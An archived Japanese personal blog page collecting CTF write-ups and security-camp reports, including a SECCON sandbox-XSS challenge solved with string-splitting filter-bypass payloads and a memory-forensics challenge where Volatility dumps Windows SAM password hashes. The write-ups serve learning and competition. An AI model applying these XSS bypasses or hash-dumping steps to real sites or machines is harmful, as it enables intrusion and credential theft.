イベントメモ に関する投稿を表示しています

『SECCON 2014 オンライン予選(日本語)』に参加してました

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

どうも、ごみばこです。
いろいろあって更新してなかったり、いろんなダメージを追ったりしていますが
わたしはげんきです\('ω')/


というわけで久々のCTFでした。
今回はぼっちーむではなく********で参加です。

2000点で10位だそうです。
http://score.quals.seccon.jp/ranking/

おうち参加ではなくSFCまで行ってエナドリ飲みながらやってました。
複数人でわいわいやると楽しい!サイコー!

ぼっちのときと異なり、よくわからんところは任せよー、人数で押せるなーいいやーとなってしまい、あまり成果でなかったなーと思いました。ひとりのほうが、バイナリもやろうかな、とか、フォレンジックやるか、と、あれこれしようと思えるので、鍛えるならそっちのほうがいいかもしれないですねーって。

writeupはとくにないのでかかないです。
Web300は頑張った(意味深)ので、取れましたけど、周りの人をみるとスッキリ解いてるので、クソ。
http://nash.hatenablog.com/entry/2014/07/19/213114

他はさっぱりでした。
発想力が完全にどこかへ飛び立っていました。

次回もがんばりましょう。

2013 SECCON オンライン予選に参加してました

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

という記事を書いていなかったので書く。

おつかれさまでした。

なんにもなくてぼっちーむになりました。

解いた問題
<1>Forensics: 1,2,3
<2>Programming/Crypt: 1,2
<3>Binary: -
<4>Network/Web: 1,2,3,4,5
<5>Etc: 1,2

開始:<4>2、<5>1
16時:<1>1
18時:<4>3
19時:<4>5(300pt)
0時:<5>2
3時:<2>2
6時:<4>4、<4>1、<2>1
11時:<1>2、<1>3
(多分こんな感じ)

<1>500も<1>300と同じようなノリでいけるとおもいきや、時間切れ。。
と、いうか10時くらいから調べながら環境作って<1>200と<1>300取れたので、
まあ、なんというか、はい。

Write-upはいったん、<1>2、<1>3、<4>5、だけ書きました。


Web500「途中点もらえます」
ぼく「いや入れなくても最後まで出来る見通しあるし500pt入るっしょw」
スコアサーバ「300(ボソッ」
~終了後~
ぼく「点数あわねーWeb500だーどんまいー」


運営のみなさま、楽しいイベントをありがとうございました。
次回があればまた参加したいです。

[SECCON] Web500 箱庭XSS Final

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

出たな箱庭!

なんどか試しているとどうやら入れた文字列([A-Za-z]?)が使えなくなる模様。なるほど。

1回目:"><script>alert("XSS")</script>
2回目:"><script>alert("XSS")</script> //←NG

困りつつ文字列を分解していく作戦にすると、どうやら一文字は除外される模様。

1回目:"><script>alert("X"+"S"+"S")</script>
2回目:"><script>window["ale"+"rt"]("X"+"S"+"S")</script>

ということで。(動く原理はjsfuckとかで調べてください)

"/onfocus=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onclick=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/ondblclick=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onkeydown=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onkeypress=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onkeyup=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onmousemove=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onmousedown=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onmouseover=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onmouseup=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onmouseout=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onblur=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onchange=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onselect=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onmousewheel=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
FLAG: アイ・アム・アラート出したいマン!

終わったあとにもう少し触ってみたら、消されたときの残りがくっついて通るんですねこれ。

"><script>alert("XSS")</script>
"><sscriptcript>aalertlert("XXSSSS")</sscriptcript>

Finalということは次には期待しなくていいんですよね(フラグ)

[SECCON] Forensics200 削除されているファイルの名前は何ですか?

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

いろいろ調べてみると、与えられたファイルはMFTのダンプらしいです。

analyzeMFT.py というのを使いました。
dkovar/analyzeMFT

出力してもらってgrepするだけでいいっぽいです。


$ analyzeMFT.py -f Filesystem003.bin -o list.csv && grep "Inactive" list.csv | grep "/"

が、競技中は出力までで、探すのはLibreOfficeにcsvぶち込んで適当にスクロールして見つけました。


FLAG: SkyhookParser.exe

[SECCON] Forensics300 ログインパスワードを解明せよ

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

Volatilityってのつかいました。
volatility - An advanced memory forensics framework - Google Project Hosting

メモリダンプをVolatilityに食わせます。
既にWindows7 X86とあったのでこんなかんじのコマンドを。


$ python vol.py hivelist -f ../Memorydump2.bin --profile=Win7SP0x86

Volatility Foundation Volatility Framework 2.3.1
Virtual    Physical   Name
---------- ---------- ----
0x9ff5a3c0 0x37fbb3c0 \SystemRoot\System32\Config\SECURITY
0x9ffc03a0 0x30e243a0 \SystemRoot\System32\Config\SAM
0x8f60c568 0x04bbc568 [no name]
0x8f61c008 0x005d2008 \REGISTRY\MACHINE\SYSTEM
0x8f6448d8 0x04b3c8d8 \REGISTRY\MACHINE\HARDWARE
0x90659650 0x199c0650 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0x906d8008 0x13200008 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0x93cf5008 0x38814008 \Device\HarddiskVolume1\Boot\BCD
0x93d479d0 0x388c19d0 \SystemRoot\System32\Config\SOFTWARE
0x989bc008 0x37920008 \SystemRoot\System32\Config\DEFAULT
0x9e6e69d0 0x005469d0 \??\C:\Users\forensics\ntuser.dat
0x9efe5650 0x028aa650 \??\C:\Users\forensics\AppData\Local\Microsoft\Windows\UsrClass.dat

よいですね。
次に、SYSTEMのレジストリとSAMのアドレスを教えてハッシュをダンプするらしいです。


$ python vol.py hashdump -f ../Memorydump2.bin -y 0x8f61c008 -s 0x9ffc03a0 --profile=Win7SP0x86 > hashs.txt
Volatility Foundation Volatility Framework 2.3.1

$ cat hashs.txt
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
forensics:1000:aad3b435b51404eeaad3b435b51404ee:98ffdb1b29e7c88954326cd4011141d8:::

NTLMハッシュになってるので、あとはツールでも探して投げてください。

FLAG: Kani3

追記

この辺りが参考になりました。
http://forensicmethods.com/wp-content/uploads/2012/04/Memory-Forensics-Cheat-Sheet-v1.pdf
http://cyberarms.wordpress.com/2011/11/04/memory-forensics-how-to-pull-passwords-from-a-memory-dump/

Mini #seccamp in Yokohama で喋ってたことへの補足とか

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

○全体的

・高橋メソッド
もどきですが。。
文字でっかく1枚に少なく、にしたらすごいサクサクつくれたので、今後も試してみたい。
高橋メソッドについて

・ネタ画像
知ってるネタはググって入れたけど、どこから探すんだろう。
Tumblerをめぐりとかで出てきそう。

・フォント
メインでつかってたフォントは「ゆたぽん(コーディング)
ゆるふわ感がありつつも、見やすさが程よくお気に入り。

一部コード関係のフォントは「Migu 1M
手元のエディタなんかは大体このフォントにしているくらいのお気に入り。


○1回目

・自己紹介
夏キャンプのときは「ごみばこの人」「ごみばこいん」とかで参加者に知られてました。
卒論の影響もあって、JSばかりですが、お仕事はサーバ側(PHP/Java)もやります(やってます)
CTFとか書いてありますが、ガチじゃないです。
ksnctf とか akictf とか Flaggers とか

この前のCSAW CTFに参加したものの、まったく旗取れず知識・技術不足、カンの弱さを実感。
SECCONは名古屋追加募集があるとかでいけるのかしら...(枠じゃなくて、僕の都合が大丈夫かーとか)

・DOM Based XSS
IPAのレポートをみるとよいかも。
IPAテクニカルウォッチ 『DOM Based XSS』に関するレポート

急増してるとあるものの、脆弱性の報告や問題視は昔からある。
jQueryマシマシや、スマホなど、jsの活躍場所や表現力、ライブラリなどががグワッと伸びた結果、
こうなってるとおもう。

HTMLエスケープを施す、が対策になるが、DOMから拾うのが安心安全。
Twitter / bulkneets: そもそも出力時に自動エスケープすべきだしその前提にたったとき ...
Twitter / ockeghem: プログラムとコードの分離という観点、およびCSPの対応という ...

じゃあどうやるの?

function escape(str){
    var e = document.createElement('div');
    e.appendChild(document.createTextNode(str));
    return e.innerHTML;  
}

つぶやくボタンを例にだしたのは、例示でよく見かけたため。
ちょっと前にも、わりと大手サイトのつぶやくエリアが無法地帯だったとの話も聞きます。

・コミットログが2つしかない件
少なくとも、自分でだいたいいいかな、まで書いたところ、コードの見やすさが最高にクソかったので、
書き直しとか設計見なおしも含めてaltJSに移行しているリポジトリです。
元のリポジトリは50くらいでした。


○2回目

にゃんぱすー( '△')/

・経緯
1日目終わった後にまっちゃさんが「見てなかったのでもう一回ね」ということで。

・ネタ
面白さ的に以前参加した残パン会でやったやつがいけるな、と。
Befunge - Wikipedia
残パン会に参加してきました。
残パン会#3にいきました
https://github.com/sters/zanpan

・Befungeについて要約
二次元的にコードを書く
プログラムカウンタ?ポインタ?が縦横に動くことができる
自己改変機能がある
Befunge-93は広さの制限がありチューリング完全ではない
Befunge-98は任意次元の拡張とかよくわからない定義がある(理解してないし資料を読んでもいない)

・デモについて
jsで書いたBefungeインタプリタ。
ブレークポイントが貼れてステップ実行できたりしてどうのこうの。
後日、丸々書き直しをしている。

チャットは残パン会でつくったもの。あの時はちゃんと動いてたはずなんだが....

サーバ側はPHP/MySQLで飛んできたデータをしまうか、Befungeで扱いやすいフォーマットで返すだけ。
認証機構なんてなんにもない。

クライアント側をフルBefungeで作ったという話。
ただし、通信周りを一から書くのは謎いので、命令を追加している。
入室、発言、取得。

・しゃべりたかったこと
いろんな時代を経て進化してきたプログラミング言語もいいですが、esolangという世界もあります。
いろいろ楽しい、面白いので覗いてみましょう

はろーわーるどかいたよー^^って言って縦横に記号並んでたら面白いでしょ?

複雑なesolangだとそもそも実装が少なかったりするので、そういったことにチャレンジするのも、ね。


というあたりで。

Mini #seccamp in Yokohama

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

Mini #seccamp in Yokohama

○前置き

「セキュリティ・キャンプについて」
http://www.security-camp.org/outline/#index07

日曜日・月曜日と行われたセキュリティミニキャンプへと参加してきました。
今年の夏にキャンプに参加してたので、参加者側ではなくチュータとして参加しました。

本来チュータ枠はありませんでしたが、川合先生が円滑に進めたいとのことで、
コミュニティで募集をしてました。

内容は公式のpdfを見てもらえればわかると思いますが、
実習がOSとか組み込みな、低いレイヤなので、
普段はWebに住んでるぼくからすると、世界が違うのでちゃんとチュータできるかどうか...

という点も含めて、アセンブラもちらほらやってみたかったのでチュータに名乗りあげました。

/* 逆に誰も手を挙げなかったのは一体...? */

○講義内容

『プログラミング言語の歴史』 西尾講師(60分)
『セキュリティ・キャンプとCTF』 園田講師、竹迫講師(60分)
『事例に学ぶ危険なシステム設計』 園田講師(60分)
『Arduinoでの組込みOS自作体験』 坂井講師(60分)
----------Day1↑----------↓Day2-----------
『超簡易PC用OS自作体験』 川合講師(160分)
『新しい暗号技術』 光成講師(110分)

ということで、
キャンプ勢のなかでもこのあたりをピンポイントに興味ある人、
横浜開催に来れる人、
になるとまったくいなかったてオチでしょうか。

結果として、タイトルのまんまで、超専門的でまったくついていけねぇなんてことはなく、
ぼくでも大丈夫だったので、逆にそれがメインの人からすれば真新しいことはないのかなあと。
むしろちょっと興味あるけど機会がなあ、みたいな人推奨みたいな感じです。

講義の話はタイトル通りなので、実習の部分を主に。

>> プログラミング言語~はパンチカードとか、かつてコンピュータができたころの話とかとか。
>> キャンプはそのままキャンプの話
>> 事例に学ぶ~はWinnyの話でした。Winnyにはびこるウィルスを殺すには、みたいな。
>> 暗号技術はすごい簡単に説明していたと思うのですが、やっぱり??となる部分が...数学むずかしい...
>>>> スライドが公開されています => http://www.slideshare.net/herumi/ss-27882746
>>>> 数学ガール読んでたので、ある程度はついていけました。数学ガール読みましょう((

○『Arduinoでの組込みOS自作体験』

Arudinoとありますが、実際はシミュレータを使ってそれっぽいことをやる感じでした。

C言語でかかれたやつをいじくりまわして。
make でコンパイルして。
avr-elf-gdb でシミュレータを走らせて。
別のスクリーンから cuコマンドを使用して、そのデバイスに対してシリアル通信をして。
というような感じだったとおもいます!

若干プログラム周りのやることが追加されてますが、ほぼこのページ通りな気がします。
http://kozos.jp/vmimage/cui.html

・チュータポイント
うまくうごかないーとか、そもそもVM動かないんですけどというあたりから見て、
一緒に悩みながら再起動したり試したりでなんとか。。

あとで聞いた話、シミュレータも完璧ではないので、
タイミングによってはうまく引っかからなくて結果がでないこともあるそうです。

・反省点
"事前にインストールしておくこと.txt"のようなものを受け取っていたので、
そこから自分で発掘して下調べをしておくべきだった。
もしくは坂井先生に個別連絡をとって、下準備を聞いておくべきだった。

screenコマンドを全くしらないのはまずい感あるので、多少なりとも勉強したい。
tmuxとかでも。

歩きまわって各自の様子を見るべきだった。
>> なかなか聞きづらい、手を挙げづらい、という思いがやっぱりあると思う。
>> なので、様子を見て、詰まってるっぽいならこっちから聞いてみる。

・良かった点
NOP

○『超簡易PC用OS自作体験』

はじめはアセンブラを書いて、動いたやったー。
途中からセクタを読み込めるようにして、
あとはC言語でそれっぽい画面をつくる、キー入力をする、という具合です。

「30日でできる! OS自作入門」をさらに説明するのに難しそうな箇所をバンバン削って
「2時間でできる!超簡易PC用OS自作体験」とのことでした。

INT 0x10 とか INT 0x13 とか、なんやねん、て質問があったんですけど、他のレジスタとの兼ね合いで
やる内容が決まってるんですって返ししかできなかったので、こちらをみてください。
http://en.wikipedia.org/wiki/INT_10H http://en.wikipedia.org/wiki/INT_13H

・チュータポイント

資料をまるまるもらっていたので、事前に全部通してやりました。
>> ひたすら紙->目->手->PCの作業

資料にはコードだけじゃなくて、それが何を意味しているかの解説込だったので、
理解の助けになっていたとおもいます。

実施中に何人かにもいったのですけど、
フォント増やすのはかなり地道な作業になるから、
そのあたりを構造体とかポインタとかカッチョいい感じに使って、
リファクタリングとかやってみたらいいんじゃないかなー、なんて話を。
実際にしている人はいなかったっぽいですけども..w

あとは、forまわして動きをつけたりしてる人もいましたね。
他にも、sin関数移してきてゲームっぽいものを作ろうとしてたり、
Brainf*ck専用OS(?)を作ろうとしている人なんかも。
後者についてはこわすぎるので、しかるべき場所にいくべきです((

・反省点
ぼくの事前学習がちょっと不足してた。
エラー対応のパターンとか。

Terapadの行表示をさせるのを忘れていた。

・良かった点
初日からの改善で、演習始まったら見て回ってた。
抜群の目grep力(皆無)でエラーっぽいのを見つけて声をかけるようにした。

エラーが出る方がC言語側に集中していたので、対応しやすかった。
>> コンパイルエラー出たら紙とにらめっこするよりも、エラー文を読んだほうが色々よさそうです。

○その他

最後の人生相談の場にいなくてごめんなさい。
いつでもリプライでもDMでも顔本でもなんでも聞いてくれれば反応します。
もちろん参加者じゃなくても、ちょっとキャンプ興味あるんだよな、
参加した人の話聞きてーなー俺もいけるんかなーくらいの軽いノリでも大歓迎です。

こんなぼくの話でよければいくらでもします。

ぼくのかいた応募用紙についてもちらっと見ると参考になりそーなことが書いてあるかもしれないです。
セキュリティキャンプ2013(web)に参加します+応募用紙のあれ

キャンプ中に言うのを忘れてたことがひとつ。
いろんな知識とか技術とかを受け取ったと思うんですけど、
なにかしらの形でそれらを出力していけるといいですよね。

voidじゃなくて、せめてもbool。うんともすんとも言わねえ...というのはいささか勿体無い気も。

ぼくもここは夏キャンプ分の出力できてないので、まだまだこれからですねって話ですが..w

それともう一つ。チャンスは掴んでいけ、というところです。
最初にも書いたのですが、コミュニティのほうで募集をかけており、
1週間たっても誰も名乗り出ていなかったのでやってみるかーという思いで手を上げました。
結果、チュータのお仕事がちゃんとこなせていたかなんてわかりません
(=講師陣・参加者から見てどうだったか...)
が、面白い話がたくさん聞けましたし、もっとがんばらなくちゃなーって気になりました。

各地のミニキャンプはキャンプ予選みたな形だと思うのですが、
ここにチュータ参加できたのは、ある種のチュータ予選みたいな話でもあってよかったとおもいます。
いきなりLTやって!というのもいい経験ですし、LTとはいえスライドづくりや説明の甘さも思い知りました。

>> 個人的には「にゃんぱすー [反応をみる] はい、ということで2回めのLTをー...」はよかった(やりきった感

LTで喋ったことの補足記事もかきます。
とくに二回目の方はあたふたしすぎてまったくなにがなんだかわからなかったので本当に申し訳なかったです。

○さいごに

@参加者のみなさんへ
ミニキャンプはどうでしたか。
チュータ力不足につきサポートしきれない点もありましたが、
みなさんなんとかやりきったのかなーと勝手に思っています。

できる人できない人が混在していたので、1か0かでさくっと分類してぼくからのメッセージを書きますね。
脳内のメモリは限られてますし、読むだけ読んで、そのまま/dev/nullへでも送ってください。

・簡単だと思った人
もっと勉強して、もっとプログラムを書いて、もっとパケットを読んで、来夏のキャンプに備えましょう。

若干の上下幅はあるものの、同年代のすごい人達がたくさん来ます。
普段できない話や、あたらしい視点、ひらめき、人脈、etc...

キャンプで得られるものは講師陣からの卓越した技術や知識だけではないとおもいます。
過去のキャンプ生...できれば最近なほうがいいですねw、を見るとその様子が見て取れるのではないでしょうか。

そんなセキュリティキャンプ、どうですか。

・難しいと思った人

やったことはすべて与えられています。ゆっくりと復習してみましょう。
そのときに、なにがわからないか、1つずつ調べていきましょう。
必要であればお手伝いします。

そして、やっぱりキャンプなんかむりだろー、という前にまずは手を動かしてみませんか?

とはいえ新しい何かを作るのはアイデアないしなあ、というのであれば、とても素晴らしいアイテムをもっていますよね。

坂井先生のArduinoシミュレータ、川合先生の自作OS。
このプログラムをいじくり倒して、あれこれしてみてはどうでしょうか?

@講師陣、運営なみなさんへ

いろいろと至らぬ点があったかと思いますが、いずれも言い訳をして捨てることはしません。
粛々と受け止め、改善策を考え、あれこれ試して、次の機会に備えます。

ぼくの知らない世界がたくさん見えて、チュータとはいえ参加者側の気分でした。
アセンブラやOSなど、興味がでてきたので、時間をみてちょっとずつ手を出してみようとおもいます。

キャンプ以外にも、いろいろなところで今後もお世話になるかと思います。
そのときはまた、よろしくお願いします。


おまけ。

短歌を読んでみたんですが、思った以上に難しくて白目。
味わい深さどころか、57577の形になっただけの要修行なレベル。ここからがんばります。
DOSです。

C:\DOCUME~1\user\デスク~1>fib.com
-d
2CE5:0100  B3 00 BF 01 00 B4 4C B2-31 B1 06 50 80 EC 4A CD   ......L.1..P..J.
2CE5:0110  21 00 DA 57 89 DF 5B 90-01 FB E2 F3 58 EB F0 00   !..W..[.....X...
2CE5:0120  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
2CE5:0130  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
2CE5:0140  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
2CE5:0150  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
2CE5:0160  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
2CE5:0170  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
-g
112358プログラムは正常に終了しました.
-q

C:\DOCUME~1\user\デスク~1>
B3 00 BF 01 00
B4 4C B2 31 B1 06 50
80 EC 4A CD 21
00 DA 57 89 DF 5B 90
01 FB E2 F3 58 EB F0
あ、あと、ぼくのスライド欲しい人いればリプライとかで直接いってください。
公開するのはあまり乗り気ではない模様...

#upcamp

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

通称セキュリティキャンプ六日目。
私立・プログラミングキャンプ 2013 東京大会 - #upcamp に参加していました。
(いろいろあってスタッフ枠でした)

なにつくろっかなーと思っていたのですが、久しぶりにTypeScriptをやってみたかったので、クライアントサイドで何かやろう、と。
seccamp内でちょっと話があったSQLInjectionChallengeみたいなのやってみようかなーと思ってあれこれ試行してました。
なかなか作れない理由として、サーバサイドで実行する都合でいろいろ危ないのかなーという判断で、クライアント側でやればいいのではーと思いました。
が、そもそもクライアントサイドでSQLってなんやねん、jsでパースしてcookieかなんかに挟むんかなーみたいな感じで

・・・seccamp提出用の感想文とかかくのであとはスライドみてください(適当すぎてごめんなさい)

#seccamp

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

以前の記事 で通知したように、セキュリティキャンプに参加していました。

Webクラスでした。
とてもすばらしい。

CTFはネットワークの方がめっちゃがんばってくれたおかげで3位でした。
ぼくはWebで200/300/100/100くらいと、他のとこで100/100/100くらいとったような気がしました。
400と500ぜんぜんわからんくてしぬ。SQL周りがさっぱりすぎてしぬ。

いただいたものとか、Javascript本たくさんでめっちゃよろこんでます。
アイエエエエ!?ニンジャ!?ナンデニンジャ!?!?っていいながらジャバスクリプトニンジャをいただきました。
あとミクさんのポスターいいっすね^~
それとボウズマンウォーターですね。アパ水には勝てないですけど、なかなか。

と、いうところで「これから」ですね。
いろいろ作ったり考えたりしてアウトプットしていきたいです。

まずは、めっちゃ直近(むしろなう)の私立プログラミングキャンプでちょっと作ってみたいものがあるので、
そこがんばりまーす。

1SPREAD情報セキュリティ勉強会に参加してきました

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

7/13の話で、すごい今更感。
Togetter: http://togetter.com/li/533192

「パスワードの定期変更という不自然なルール 2013」
講師は@ntsujiさんでした。

4月以降、Webサービスへの不正ログインが相次いでいる
大手サイトも!

攻撃
* ブルートフォース攻撃
* ディクショナリ攻撃
* リバースブルートフォース攻撃
* リスト型攻撃
といった攻撃種類があり、誰でも簡単にできるツールがある。

対策
* 強固なパスワードの設定

* 定期的な変更・・・はどうなのか?
=> 突破の可能性を低減
  => ??????
  => そもそも、アカウントロックやパスワードに桁数や文字種の強制をするなどしたほうがいいのでは

=> 突破後の被害拡大の防止
  => 被害を最小限に抑えるには「早期発見」「復旧」の仕組み
  => 長期的な視点だと保護したと言えるのかもしれない

=> 定期変更での効果が薄いように見えるが、ここに労力を割いていいのか。
  => パスワードの質がおちる
  => すべての人に強制するのは無理
  => 似たようなパスワードの使い回し

使い回し
* 複数のサービスで芋づる式に突破されてしまう
* サービスごとに個別に設定する
* 覚えきれない...
  => パスワード管理ソフト
    => 1Password
    => RoboForm
    => KeyPass
    => LastPass

  => 手帳などにメモ
    => 他人に見られなければよい

被害がでたら
* 被害者意識ではなく当事者意識を。
* 車とドライバーの関係
=> メーカは頑張ってエアバックだったり自動ブレーキがついてるけど、事故は起きる。

まとめ
* 定期変更は効果が薄い
* 定期変更は弊害を生む
* 使いまわしは本当に危ない
* サービス提供側だけの問題ではない

* セキュリティはみんなのもの、みんなで作っていきましょう


普段パスワードについてしっかり考えることもなかったので、とてもいい機会でした。
講師のスライドだけでなく、参加者同士のディスカッションタイムがあり、他の参加者がどんなパスワードを使っているのか、どのように運用をしているのか聞いたり、じゃあ実際どのように運用していくのが良いのか、いいパスワードとは何か、といったことをお話しました。

パスワード管理ソフトによっては、メモだったり、パスワードだけでなくそういう類のものを保存したりできるそうです。いいですね、導入しましょう。
(くろーむのパスワード保存に全部つっこんでいた)

1 2 3